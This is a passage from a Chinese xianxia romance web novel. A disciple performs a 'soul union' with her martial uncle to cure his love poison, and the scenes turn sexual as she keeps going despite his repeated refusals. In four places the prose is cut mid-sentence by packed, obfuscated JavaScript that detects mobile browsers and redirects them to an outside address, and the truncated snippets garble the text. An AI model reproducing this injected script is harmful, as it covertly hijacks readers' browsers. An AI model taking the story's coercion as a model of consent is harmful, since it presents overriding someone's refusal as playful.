谷主为她做了一遍检查,有点意外,“你恢复的速度比我预料的要快很多,突破练气三层,识海竟也稳固了许多。” 贺流虹问了她最关心的问题:“所以我不会因为太脆弱直接重伤不治告别人世了,对吗?” 谷主点了下头。 贺流虹兴奋道:“那我可以去找我小师叔了吗?” 谷主思考了一会儿,坦然道:“说实话,只要你做好了准备,又有什么不可以的呢。” 贺流虹心想这确实啊,只要她自己不怕承受被化神期的强大识海吞没倾轧的痛苦,自然随时都可以开始。 反正又不会死。 她说不好事情结束的那天宗门会怎么对她,按照名门大派的作风,不至于过河拆桥兔死狗烹,但也不太可能会再给她一颗珍贵难得的延寿丹了,所以她要是真的两百多年才能帮琼华真人解开迷情散,那就等于一辈子都被困死在神月峰了。 到时候的局面大概就是,刚一离开工作岗位退了休,第二天人就归西了,不仅没有退休金,而且也没有单位赔偿金。 所以,一切为了尽快出狱,拼了! 她郑重点头:“谷主,我准备好了。” 于是当天傍晚,在掌门的亲自安排下,贺流虹被带到一间位置很隐蔽的阁楼内。 这间阁楼和前两次见到景雍时的阁楼不是同一个,空间很小,没有窗户。 门上地板上屋顶上都刻上了无数繁复的符文,四面八方不同方向都布置了层层阵法。 还有四位大乘期长老的威严法相分别坐镇四方,滚滚灵压席卷而来,贺流虹险些没站稳。 以防接下来的神交过程中妖邪入侵,中伤二人,断送天玄宗的未来,这间小阁楼被严密监护起来,所有的阵法都是集防护与伤害于一身,低等妖魔靠近即刻泯灭成灰,连一只蚊子也飞不进去。 掌门停在入口,对贺流虹说:“你先在此等候。”然后先一步走了进去。 贺流虹望着掌门忧心忡忡的背影,感觉他活得好像一个操心的大内总管。 阁楼阵法重重,她竟是无法凭借自己的力量进入,只好站在外面东张西望。 门上雕刻的符文怪异又美丽,贺流虹好奇地伸手触碰,刚一接触,便忽然又感觉到丝丝缕缕的妖气,好似那天镇妖塔一战后在附近荒山感觉到的气息。 她有点紧张地四处望了望,却见镇守四方的四位长老巍然不动。 排除四位德高望重的长老同时上班摸鱼的可能,那就只能是她又出现错觉了。 她又调动五感仔细感受了一番,妖气果然又消失了。 虽然迷信权威不好,但一个练气三层和四个大乘期两个化神期比起来应该相信谁,她还是有数的。 所以她又继续安心地闲逛起来。 有结界存在,即便只隔着一道门,里面的动静她也完全听不见,她一想到时间宝贵,就为掌门的拖拖拉拉瞻前顾后感到不满。 屋内,掌门景离面对着是师弟深吸一口气,做出沉稳师兄的姿态:“琼华,我知道你自小专心修炼,从不贪恋享乐,清静寡欲,但是……有些时候……有些事,它……” 景雍本来就有些心神不定,听他支支吾吾,遮遮掩掩,几乎已经猜到他接下来会说什么,心中一悸。 他急忙打断对方的话:“神交只需神魂交融,只要加以克制,并不会有太多身体上的接触。师兄,我会守好元阳之身的。” 掌门没有因为他这句保证而放下心来。 男修的元阳一旦泄出,对于修炼并不会造成不可挽回的损失,但于长久计,多多少少都会造成一些影响。 所以大多数修士就算早已失去元阳,之后也会节制禁欲,不沾男欢女爱之事,为的就是那不可捉摸的长久之事。 正如景雍所说,神交确实不需要身体接触,感受到的只是来自神识的欢悦,如果能够克制出进一步交缠享乐的冲动,那么最后或许元阳之身也会完好地保存。 “我所担心的,正是你说的‘克制”二字,你虽然是化神期,但终究还未脱离人身,是人就有情难自禁的时候,所以为了以防万一,我为你搜寻到一件法宝,可以强行替你锁住元阳。” 景雍好奇起来,“还有这样的法宝?” 掌门被他带有几分天真的眼睛看着,不自觉也有点脸红,飞快将法宝放下,转身便急匆匆走了,连话都是走出去之后用神识传音的:“你看了便知它是怎么用的,我还要忙不便久留。” 景雍将那放在桌上的法宝拿到眼前仔细观看,过了一会儿,一张冷清的脸刷的一下涨红了。 那确实是一件法宝,出自不知哪位炼器师之后,至少是个六阶法器,形状乍一看就像一支玉簪,不过有些细,尾部镶嵌着一颗青色的宝石。 他像是被什么厉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143283|164589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害的妖物狠咬了一口似的,慌张地将东西扔到一边。 与此同时,贺流虹看到掌门从屋里出来,不禁有些奇怪:“怎么这么快就出来了。” “交给你师叔一点东西。” “帮助神交的东西吗?” “……算是吧。” 贺流虹点点头,指了指屋里,一副英勇就义的神情,严肃道:“那我上了?” 掌门把她拉回来,“不可操之过急。你就这样子进去,我怕你明日要横着出来。” 贺流虹惊恐地龇牙咧嘴,刚刚高涨起来的冲劲被削弱了一些。 掌门说道:“这是凝神丹,你服下去。两小时内可以让你的神识短暂达到金丹期的水准,足够你结束这次神交了。” 贺流虹赶紧接过来放兜里收好,掷地有声地保证道:“掌门,我一定努力和小师叔神交,尽快完成宗门交给我的这项伟大工作,助宗门早日度过此次危机。” 她那双大眼睛又黑又亮,忽闪忽闪,配上这副语气,任谁看了都要赞叹一声好忠诚淳朴的弟子,好勤劳肯干的员工。 掌门差点感动坏了,感慨道:“好孩子,你去吧,我会备上最好的补药等你出来,记得量力而行,不用太拼命,这次不行,我们可以等下次,你师叔有的是时间。” 贺流虹头也不回地丢下他去了,留给他一个决绝的背影。 镇守四方的长老为她放行,层层叠叠的各色法阵从她身上穿过去,她不受阻碍地进入阵内,站在门前。 门上的符文感应到她的靠近,明灭闪烁不定。 她想到刚才接触这些符文时闻到的诡异妖气,迟疑了一下,伸出一根手指轻轻贴上去。 这次一切正常,门缓缓被推开了。 一扇玉质鎏金屏风挡住室内景象,看不见人,贺流虹得以分心去看除人之外的东西,这间只用来结阵神交的小阁楼同样流光溢彩,玉阶彤庭,符合天玄宗的镇宗之宝一贯应有的待遇。 她刚一进屋,那两扇大门就在身后自动关闭,符文重新凝成层层法阵,将一切阻挡在楼外。 屏风后面,影影绰绰的人影微微动了动,像是想要开口说点什么,但是只从嗓子眼里发出了一声短促的咕哝,就又咽了下去。 贺流虹在室内飞快绕了一圈,领略完金钱的魅力,转过身来。 景雍端坐在那里不动,秾艳昳丽的颜色盖过了屋内所有的陈设。 贺流虹下意识觉得这场面有些像第一次来神月峰时,这位带金佩紫贵不可言的琼华真人也是那样远远地坐在上首,金贵沉默。 但是眼前这一幕又有点微妙的不同,美人的身下不是一张镶嵌着珠宝玉石雕刻着精美花纹的冷硬宝座,而是一张软塌,铺着雪白的绒毯,和美人的肤色很衬,躺上去似乎能融为一体,而美人的身上穿得单薄素净,料子薄如蝉翼,尽管重重叠叠挡住身体,仍然有种只要沾上一点水就能浸透的感觉。 一个美丽的男人穿着单薄到仿佛一撕就破的衣服坐在床上,专门等你进来,脸上还带着可疑的红晕,就好像打定主意今晚要用那副身体将你留下,让你欲罢不能…… 贺流虹及时制止了自己越来越离谱的脑补。毕竟她是来干正事的,不要关注无关紧要的细节。 她径直走到景雍身边,像上次一样,目不斜视地在他身边坐下来。 没过两秒,她就忍不住再次扭过头,将对方细细打量了一遍,隐隐有点担心地问:“小师叔,你怎么了,为什么脸这么红?” 13. 第 13 章 神交又不是必须脱衣服,最多就是颅内高潮,只要够自制,甚至不会让双方产生任何神识交缠之外的身体接触。 贺流虹就算不相信自己的自制力,也相信这位化神期天才小师叔的自制力。 就算真的要脱衣服,修真界第一美人肤白貌美,脱了肯定也还是美,自信一点展示出来给她这个正直善良的晚辈欣赏欣赏怎么了,有什么可害羞的。 贺流虹有点不太相信,对方是因为纯情怕羞才脸红的。 她将对方上上下下打量一遍,不像是生病或是毒发,但也没有瞧出来其他任何异常之处。 景雍绝对不会告诉她原因。 可是这个小师侄的眼神总是如此胆大妄为地流连在他身上,让他几乎忍不住颤栗。 他低声道:“你别再看了。” 贺流虹意识到自己盯着对方的时间有些久,连忙收回视线,不好意思地道歉:“小师叔,是弟子失礼了。” 小师侄很听话,景雍感觉自己总算找到了一点身为长辈的威严,不动声色地深吸了一口气,带动两人交缠在一起的衣角发出细微的摩擦声。 实在是离得太近了。呼吸里全是这个年轻的异性身上散发的淡淡药香。 他又说:“你坐远一些。” 贺流虹这回不肯照办,皱着眉头不解地说道:“师叔,坐远点还怎么神交。” 她可是答应了掌门要尽快完成任务拯救师门的,不能再继续磨磨蹭蹭耽误时辰了。 直接上就是了! 她一把抓住景雍两边肩膀,将人扳过来面对自己,大义凛然道:“来吧师叔,一切为了天玄宗!” 说着就要将额头贴上对方的眉心。 景雍没想到她的力气竟这样大,做起事来竟如此风风火火,险些没有反应过来,只能被动地任由她施为。 正要额头相抵,贺流虹忽然又停下来,将他放开,坐回原位,心有余悸地拍了拍胸口,道:“要命,差点忘了。” 她从储物袋里将掌门给的凝神丹拿出来,咕咚一口吞进去,眨着眼睛好奇地等了一会儿,感觉眉心隐约发烫,接着识海内灵光一阵闪烁,便感觉天地似乎都变得更广阔了。 除了肉眼所能瞧见的室内陈设与榻上美人,还能感知到处于屋外的种种情形。 掌门正在法阵的入口来回踱步,心跳得有几分焦躁。 上空四方角落里,四位大乘期长老的威压咄咄逼人,将她的神识逼退回屋内。 这就是神识被增强之后的感觉吗,只是金丹期就如此厉害,大乘期往上岂不是能全知全能。 贺流虹一边心动,一边重新将景雍拉过来:“来吧师叔,一切为了天玄宗,为了掌门!” 景雍这次有了准备,还算镇静,记着自己身为师叔的职责。 对方的胆子再大,对宗门再忠诚,到底还是个才修行两年的小弟子,吃了凝神丹,神识也不过勉强提高到金丹期的水准。 所以这第一次神交,想要不出乱子,顺利完成,还需要他来耐心引导。 他将杂乱心思压下去,收敛心神,温和开口:“将你的神识尽数释放出来,我会用我的神识将它勾连,带它进入我的识海,刚进来时,你的神魂可能会感到有些刺痛,但是只要坚持一下就能慢慢适应,我也会尽量控制。” 贺流虹专心听讲,虽然这些理论知识医修们都跟她讲过很多次,但再听化神期神交对象亲口讲一遍更保险。 景雍看了看她仍然抓着自己肩膀的两只手,想了想,也将双手抬起来,搭在她肩上。 两人面对着面,稍稍往前一俯身,就能额头相抵,眉心相触。 贺流虹又是一惊,将他放开,道:“再等等。” 说着就一边脱外套,一边下了床,几步走到衣架边,将三两下扒拉下来的外套搭上去。 理论课上说了,神交时身体最大的反应就是会体温上升,现在不脱,等下叫暂停多耽误事。 贺流虹低头瞧了瞧,脱了外套,只剩两层,清凉多了。 凝神丹只有四个小时,分秒必争,她几乎是飞扑上床,一把拉过景雍,将额头抵了上去。 同一时间,神识尽数释放出来,热情地钻进他的眉心。 由于冲得太猛,刚进入对方识海的一瞬间,贺流虹感到一阵强烈的眩晕,恍惚了一下。 她刚要后悔,害怕自己因为一时莽撞死在对方身上,想要撤退,这时候眩晕感却逐渐消失,被一种如同置身温泉般的柔软舒适席卷全身,让人浑身酥酥麻麻。 她闭着眼睛舒服地长叹一口气,神识之中一片融融暖意,渐渐能看清识海内的景象。 原来化神期的识海当真就像是一片不见尽头的深海,只不过海面之下一片静寂,没有任何活物,只有偶尔出现的淡蓝色涟漪和旋涡。 贺流虹只处在边缘最浅的地方,感受和她之前学会的理论知识不太一样。 除了刚开始进入时的眩晕,现在除了温暖舒适就是惬意自在,根本没有一丝一毫的不适。好像回到了快乐老家。 神魂感受到的快乐使她顾不上关注外界的变化,浑然忘却身体的存在,一时间舍不得抽身而出离开这片极乐之地。 她想可能是进入小师叔识海的位置太浅,所以不仅没有体会到医修们说的那些感受,就连小师叔的神识都不见踪影。 她试着往深处摸索,化神期的识海简直是她的数千数万倍广阔,她的神识进入其中,像一条鱼进入大海,一边因为未知而小心翼翼,一边又感到如鱼得水般的自在。 无法发出声音,她只好在这片深不见底无边无际的地方到处乱窜。 实在是太寂静了,她始终没有找到任何能够交流的对象。 神交就是神魂交融,彼此勾连,但是她怎么都进入识海这么久了,还在形单影只演独角戏呢? 这样还怎么尽快完成师门托付的任务? 贺流虹到处溜达了一会儿,没找着另一缕神识的影子,有点急了。 她开始翻滚跳跃,旋转飞舞,尽可能制造出更大的动静,引起小师叔的神识注意,快点来和她的神识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143284|164589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交缠勾连。 识海中的静寂因为她的到来被打破,激起了无数道涟漪和旋涡。 如果贺流虹仔细一些就能注意到,尽管她已经停下来,但是涟漪数量仍然在增多,旋涡回旋得越来越急促迅猛。 最后,广阔无垠的识海内猛然掀起了一阵惊涛骇浪,朝贺流虹砸过来。 贺流虹哪里见过这场面,谷主和掌门都没跟她说过还有这情况啊。 她吓得赶紧撤退,却被那些迅猛极速旋转的灵力旋涡紧紧缠住,急得她像一条刚落网的鱼又蹦又跳,更加疯狂地到处乱窜。 哪知道她越惊慌,惊涛骇浪也越来越汹涌,好像彻底失控了一样。 贺流虹担心自己被这些莫名其妙汹涌澎湃起来的浪花拍死,情急之下猛地睁开眼睛,想要叫暂停。 手刚伸过去,还没碰到对方的衣角,景雍便一头栽倒在她身上。 她在野外杀了两年怪,挖了两年矿,所以没有被这一砸直接砸倒在床,腰板直挺挺的,正襟危坐在床上,支撑住了两人的重量。 让她意外的是,小师叔的身体烫得可怕,绵软无力地偎依在她肩上,发出急促而缠绵的呼吸,用带着哭腔的喑哑嗓音断断续续地哀求:“你……你快出来……” 贺流虹听得稀里糊涂,一边还要担心仍未成功撤退的神识被小师叔识海中的巨浪一下子拍碎,她迷茫道:“啊?什么出来?” 说话间,来自肩侧的浅淡香气在她鼻尖若隐若现,一片混乱中,她冷不丁地想,嗯,天玄宗给小师叔提供的洁发膏也这么好闻。 直到脑海中又一次产生眩晕。 她凝神去查探,原来小师叔识海中的巨浪终于朝她拍了下来。 好消息,没被拍死。就是有点晕。 景雍想要狠狠咬她一口,偏偏浑身无力,只能继续靠在她的怀里,用自己都听得害臊的声音再次央求:“别再捉弄我,快出来。” 贺流虹六神无主,看看怀里的美人,再看看自己,非常无辜:“我也没进去啊。” “从我的识海中离开。” 美人的喘息更为急促,情动之中还带着一丝愤怒:“贺流虹,本座……本座是你师叔,不得放肆。” 贺流虹恍然大悟。然后更加迷茫了:“我不知道怎么退出去,谷主和掌门都没告诉我。” 景雍有种不妙的预感。 迷情散有两层作用,一层作用在神识和经脉,让人无法继续修炼。 还有一层作用在身体,也就是情毒。 这个胆大妄为的小弟子在他识海内横冲直撞肆意妄为,让他被压制的情毒又破土萌芽了。 他的身体所感受到的冲动,不仅是神交带来的,还有情毒发作时的渴望。 贺流虹也被识海中那一浪接一浪拍得晕晕乎乎,快要吐出来。而她吃了那么多灵丹妙药,这一吐可能就是几千上万灵石,简直要她的命。 她也有点崩溃,连忙求问:“你就不能把我踢出来吗,我要怎么退出啊,掌门怎么连这种事也不说清楚,救命啊……” 14. 第 14 章 景雍觉得,应该喊救命的是自己才对。 他浑身绵软地趴伏在她肩头,咬紧牙关不让自己继续发出那些令人羞耻的声音,压抑着嗓音低声提醒:“你从哪里进来的……就从哪里出去。” 贺流虹晕晕乎乎之间,听到这声提醒,如蒙大赦,压下快要吐出来的冲动,神识在那狂风骤雨中调转方向,匆忙寻找起进来时的路。 她忘了一件事,化神期修士的识海广阔无垠,而她刚刚乱窜了很久很久,并且出于对化神期的信任,压根没有特意记过路线。 所以她迷路了。 惊涛骇浪持续朝着她砸下来,她那一缕细弱的神识如同海面上的一叶扁舟,在风浪中慌里慌张,横冲直撞,试图躲过那些想将她卷起来的旋涡和浪花,找到出口。 她现在知道这些旋涡和风浪都是怎么回事了,大概都是小师叔的神识出现的波动。 于是她也有些生气:“你的神识一直攻击我!这让我怎么出来!你快点冷静下来!” 景雍的眼尾溢出生理性的眼泪,见她理直气壮地指责自己,不禁为自己感到委屈。 明明是这个女人一直在他识海中没轻没重地使坏作乱,搅得他神魂不安,却还怪他不够冷静。 但他更为自己这副身体感到羞耻,怎么能如此轻浮浪荡,轻易被撩拨成这副模样。 在此之前,他完全没有预料到,自己竟是完全无法控制这个小弟子在他识海中肆意妄为,也无法控制自己的情动。 这便是……神交带来的灭顶欢愉。 让他无法抵挡,无法冷静。 “我……我做不到……” 因为做不到,他近乎放弃抵抗,浑身瘫软下来,任由对方毫无章法任性妄为,反复点燃他体内压制多年的玉望。 贺流虹察觉到他的识海内忽然平静了一些,那些卷起的风浪不再那么急躁地砸向她,但也没有消失,只是热情地涌上来,将她的神识温柔地包围,任由她徜徉其中。 她的脑袋终于没那么晕了,可以专心寻找出口。 景雍的身体却躁动得更厉害了。 神识勾连交缠的快感一波波涌向他,已经分不清身体的反应是因为情毒,还是因为神交本身。 两人的距离极近,女修身上散发出来的苦涩药味,明亮又漆黑的眼睛,说话时直率坦荡的腔调,都让他感到越来越燥热。 他将两只手无力抬起来,缠上对方,如同溺水之人抱紧唯一一根浮木那般,紧紧抱住了她,低泣道:“我好难受,帮帮我……帮帮我……” 贺流虹手忙脚乱,神识忙着退出来,身体却又被无赖地缠住,耳边是一声声的哀求。 她只好再次睁开眼睛,瞧瞧这到底是怎么个事。 小师叔像一条柔弱无骨的蛇紧紧缠在她身上,紧抱着她不放。 美丽的脸上再也找不到一点冷清的气息,而是如同春月桃花般糜艳动人,沾着晶莹的泪痕,殷红的唇瓣微微张开,溢出叫人脸红心跳的喘息。 她挣动了几下,正要将深陷情玉纠缠不休的美人从身上推开,美人便溢出更加委屈可怜的啜泣,吓得她赶紧松手。 美人哭得越发伤心无助,眼泪打湿她的领口,“为什么……为什么不肯帮我,我真的好难过。” 贺流虹冤枉极了,神识在对方识海中一路狂奔,“在努力了,真的在努力了!马上就出来了,再忍忍啊小师叔。” 景雍早已被神交和情毒带来的情玉折磨得神思恍惚,下意识地喃喃开口:“不要出来……不要离开我……救救我,帮帮我……” 贺流虹人都傻了,“啊?现在又不让我出来了吗?那我要怎么帮你啊?” 这也太难了吧,谁也没提前告诉过她,这项工作正式开展起来,如此令人费解,就好像复习半天到了考试那天发现看错课本了。 景雍意识恍惚,双颊绯红,本能地蹭着她的肩膀和脖子,发出含糊不清的声音,夹杂着难耐的喘息。 贺流虹什么都没有听清,抬头朝上空的四个方向望了望。 她不太确定外面的四位长老能不能知道这里的情形,琢磨着要不要场外求助。 只是美人都在她怀里喘成这样了,她就这么喊人进来,多少显得有点不懂珍惜。 反正有四个大乘期在外面守着,不可能真出什么事,她趁机欣赏一下主动投怀送抱的美人,也没什么问题对吧。 最重要的是现在喊人进来,那她刚才忙活半天不都白费功夫,至少等她先结束第一次神交。 她打定主意,一边关注景雍的状况,一边继续尝试收回自己的神识。 双方的神识继续交缠,景雍的身体越来越热,胡乱拉扯着碍事的衣服。 贺流虹体贴地说:“我来帮你。早就想说了,你说你穿这么多层干嘛,迟早要脱的。” 景雍迷茫间感觉到她的手若即若离触碰他的身体,带来阵阵颤栗,以为她终于愿意“帮忙”,热情地将嘴唇贴上她年轻清俊的面颊,主动献吻。 可惜他一生大半时间都没出过神月峰,根本不知道怎样才是一个合格而缠绵的吻。 贺流虹被亲了第一口时,愣了一下,然后淡定地打量着对方像小狗舔舐主人一样的笨拙动作。 她摸了摸对方的头发,意味深长地确认道:“小师叔,你一直亲我是什么意思,难道我们也要像其他人神交时那样,做点别的?” 景雍没有说话,用热情而混乱的亲.吻回应她。 贺流虹认真地点了点头:“好的,我懂了。” 她抓住对方肩膀,将他推倒在身后软塌上,压了上去。 神识勾连之时,身体也彼此贴近。 脱到他身上只剩最后一层,贺流虹的手被按住。 她故作不解:“怎么了?” 景雍的身体有些不自然的僵硬,语调也有些不自在:“不能再脱了。” 贺流虹:“但是你的身体还是很热。” 他仍是拒绝:“不能再脱了。” 贺流虹满脸写着真诚:“不脱怎么帮你?放心吧师叔,我不会乱来的。” 身下的美人面露难色,最终败给还未被纾解的玉望,以及那双黑黝黝的眼睛。 贺流虹如愿剥除最后一层遮挡物,将美景净收眼底。 景雍自知已然陷落,原本阻挡在两人之间的手缓缓垂落在榻间。 美丽的男人肌肤胜雪,几乎和雪白的绒毯融为一体,只剩唇色鲜艳的红,青丝如墨般铺散开。 贺流虹直勾勾盯着他,笑得一脸淳朴:“小师叔,你真好看。” 他与那双漆黑如深潭的眼睛对视,忽然颤抖起来,生出不妙的预 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155913|164589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感。 果然,这个外门小弟子不仅要在他识海中横冲直撞不知轻重,又开始对他的身体肆意妄为起来。 但是他在双重的欺压玩弄之下早已失去所有抵抗的力气,除了接受,别无他选。 他抬手挡住眼睛,遮掩自己逐渐深陷晴潮的模样。 贺流虹却将他的手拿开,压在头顶,一脸受伤:“小师叔,我是不是做得不好,你不想再看见我了吗?” 景雍偏过脸,躲避她的目光,闭着眼睛,“别看我。” 贺流虹嘴上答道:“好。” 眼神却流连在榻间。 看清那颗青色的宝石时,她“哇”了一声。 原来天玄宗的镇宗之宝连这里也有专门的装饰品吗? 不会还是个法宝吧? 可是这是怎么戴上去的? 拔一下看看。 咦,掉了。 “不、不可以……不要!” …… 屋内传出一声略显凄艳高亢的泣音,混杂着极致的痛苦和欢愉,让守在阵法外的几人都微微一怔,紧接着露出了然于心的神情,无奈地摇了摇头。 神交嘛,发出这种动静是难免的。 渐渐的,动静消失了,似乎是终于结束。 榻上,贺流虹松开手,退开一些距离,盯着昏沉的美人打量了一会儿。 她也没想到琼华真人如此怕羞,始终紧咬着嘴唇,将颜色形状都很漂亮的唇瓣都给咬破了。 她忍不住摸了摸对方被咬破的嘴唇,又将他沾湿在脸颊的发丝捋开,贴心地替他盖上一层外衣。 做好这一切,她不紧不慢地将神识收回,盘腿坐在床尾,闭眼调息。 之所以这么熟练,是因为这已经是第三次了。 贺流虹是个上进努力的好学生,经过第一次的练习,接下来的神交一次比一次熟练,没再出现神识无法收回的情况。 短暂的调息结束,她只觉得神清气爽,浑身轻盈,经脉的运转都通畅了很快,就连一向空虚的丹田内也吸纳了大量的灵气,亟待消化。 虽然目前为止只有三次突破境界的经验,但她有种自己好像又快要突破的感觉。 谁说这神交危险啊,这神交可太棒了! 工作内容远比她预料的要简单,甚至可以说是享受,贺流虹食髓知味,干劲满满。 本来打算拼一把,一夜七次,七天出狱的。 现在她觉得自己还能再来十次! 四周灵气沿着经脉汇聚在丹田,越发充盈,境界松动的感觉越来越明显。 但突破需要闭关入定,这一闭关说不定就是十天半个月,又要耽搁出狱的时间。 贺流虹觉得自己还能再憋一会儿,将不断汇聚到身体内的灵气强行压制在丹田,看向仍然还处于昏沉状态的美人。 她凑过去轻轻推了他几下:“师叔?小师叔?” 对方眉心微蹙,低低地呻.吟了一声,就没了动静。 贺流虹不死心,又捏了捏那张潮红还未褪去的漂亮脸蛋,热切表示:“小师叔,我们再来一次?” 景雍瑟缩了一下,往墙角躲,“不要,你别再乱来了。” 贺流虹像前两次一样鼓励他:“师叔,想想天玄宗,想想掌门,忍一忍,忍忍就过去了,我很快的。” 15. 第 15 章 景雍刚缓过来一些,又稀里糊涂被拉着进入了新一轮的痴缠。 凝神丹的作用时间早就过了,但是贺流虹的神识依旧在他识海中畅通无阻,如鱼得水,没有体验过任何神识刺痛神魄碎裂的威胁。 景雍想不出任何理由来阻止她的继续。 唯一的理由只能是他这个师叔快要承受不住了。 就算是化神期,也无法一连四次承受如此强度的神魄纠缠。 最让他难以承受的是,这个小师侄无论是对待他的神识,还是对待他的身体,始终不懂温存,由着性子胡作非为,一次比一次过分。 贺流虹第四次收回神识,舒适地叹了一口气,再次说道:“师叔,我们再来……” 一回头,她这可怜的小师叔连嘴唇都有些发白了,好像随时快要晕死过去,乌黑的发丝不知是被泪水还是汗水洇湿,凌乱地缠绕在一起,好像从水里刚捞上来的。 她忍不住腹诽,化神期怎么这么不禁折腾,这才四次而已,进度还不到十分之一。 景雍眼睫轻颤,恍惚间和她那双充满深意的眼睛对上视线,瑟瑟发抖地蜷缩起来,色厉内荏地威胁:“你不许再碰我。” 说话间,他慌乱扯了件沾着可疑水痕的衣服,遮挡住身体。 贺流虹瞧见他身上满是斑驳,反思了一下自己,下手确实有点不知轻重了,不好意思地笑了一下,往对方身边挪近几分距离。 “都说了,不许你再碰我……” 景雍惊惶失措,无论是身体还是脑海里刹那间一起回想起任由对方摆布玩弄的滋味,太激烈了,他不想再继续体会了。 如果是平时,贺流虹大约会接收到这位琼华真人言辞之中的警告责备。 但此刻,在她眼里,几乎等同于美人娇嗔,那无力颤抖的嗓音,布满出自她手的痕迹的身体,怎么都看不出半分威慑力。 贺流虹很想继续下去,内心挣扎,最终还是良心发现,决定做个体贴的好师侄。 她露出乖巧的笑容:“师叔,我没想碰你,我是准备帮你把衣服穿好。” 她一把将景雍遮挡在身上的衣服扯开,看清楚衣服上面沾着的痕迹,皱起了眉:“这衣服都被你弄脏了,怎么办。” 景雍不敢再正视她和她手上那件衣服,扭过头,却又不小心瞧见掉落在床尾的那件“法宝”,细长的簪尖同样也被“弄脏”了。 他面红耳赤,索性紧紧闭上眼睛。 贺流虹伸手摸了一下他的额头,疑惑道:“你的身体怎么还是这么烫,情毒还没有解开吗?” 光是神交就已经四次了,区区一点情毒,她的技术再糟糕也该解了吧。 景雍怕她又胡来,急忙说道:“我的芥子袋中有干净的衣裳。” 贺流虹“哦”了一声,从榻上下来,在散落于地面的衣物中翻翻找找,找到了对方的储物袋。 储物袋与神魂绑定,需要本人打开。 两人的神魂经过四次交缠,充分沾染上彼此的气息。 她试了一下,很轻松地将景雍的储物袋打开,里面容量很大,琳琅满目,丹药法器符篆分门别类摆放,还种了几盆灵植。 她找到了一套干净的衣裳,拿出来,回到榻上,准备帮对方换上,心里想着那储物袋可真高级,不仅能装,还能种东西,和她在地摊上买的入门款比起来就是豪宅和茅草屋的区别。 走神的时候,她的丹田猛地一阵刺痛,一个没站稳,扑倒在床,不小心又撞上小师叔的眉心,神识习惯性地钻入对方识海。 景雍惊呼一声,既羞又恼,说不出完整的话来,只剩下委屈而隐忍的哭声。 第五次结束,贺流虹心虚地擦了擦汗,替昏睡中的小师叔换上一身干净衣服。 窗外太阳东升,已经是第二天了。 没想到不知不觉就过去了这么久,屋子外面阵法照常运转,大乘期修士的威压依然存在。 屋内一片狼藉,贺流虹又从小师叔的储物袋里拿出一张清洁符,将床榻地面全部清理一遍,恢复整洁。 拿清洁符时,储物袋里不小心被带出来一卷书,她走过去捡起来,准备放回去。 拿到手上一看,封面十分眼熟。 正是前不久害她被执法堂抓住的那本。 她回头瞧了瞧仍然在昏睡的小师叔,有些纳闷,怎么还有这种人啊,让徒弟去抓人、去烧书,自己却在储物袋里珍藏了一本。 那周无疾还说这书对他师尊不敬,他知道自己的师尊其实躲在神月峰偷偷看吗。 贺流虹无比心疼曾经那个被蒙在鼓里的自己。 既然如此,她不能白受惩罚,说什么也要将这书多看几遍,看个够本。 …… 掌门进来时,屋子里静悄悄的,感受不到任何神魂波动。 他顿时感觉事情要糟。 时间确实有些太久了,法阵隔绝了大部分声音,所以守在外面的人只能偶尔听见一点动静,并不完全清楚这么长时间内具体发生了什么。 神交的两人一个比一个天真单纯,他给的凝神丹只能发挥四个小时的作用,琼华师弟又是禁欲多年初尝滋味,万一没把握好分寸,那修为低微根骨羸弱的外门小弟子就要倒大霉了,说不定真得休养几十上百年。 透过屏风,模模糊糊能瞧见榻上隆起一团人影,身体微微起伏着,气息微弱。 “琼华,我不是说了让你万分小心,千万不……” 掌门疾步走进去,一边忍不住埋怨,一边从袖口往外掏各种灵丹补药。 一抬眼,一道不属于琼华真人的修长身影从窗边的椅子上站起来,将一卷书匆匆放入储物袋。 他愣了一下,使劲眨了几下眼睛,确认这个好端端站在自己眼前的人不是师弟,而是那个想象中已经神识受创衰弱不堪的外门小弟子。 “你,你,你没事?” 贺流虹将景雍的储物袋放在旁边架子上,假装自己并没有看过里面的皇叔,摇了摇头:“我没事啊,感觉还挺好的。” 掌门见她确实活蹦乱跳,神色如常,彻底松了一口气。 虽然不知道为什么会没事,但总比有事好,不用几十年才能来一次、等上几百上千年才能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 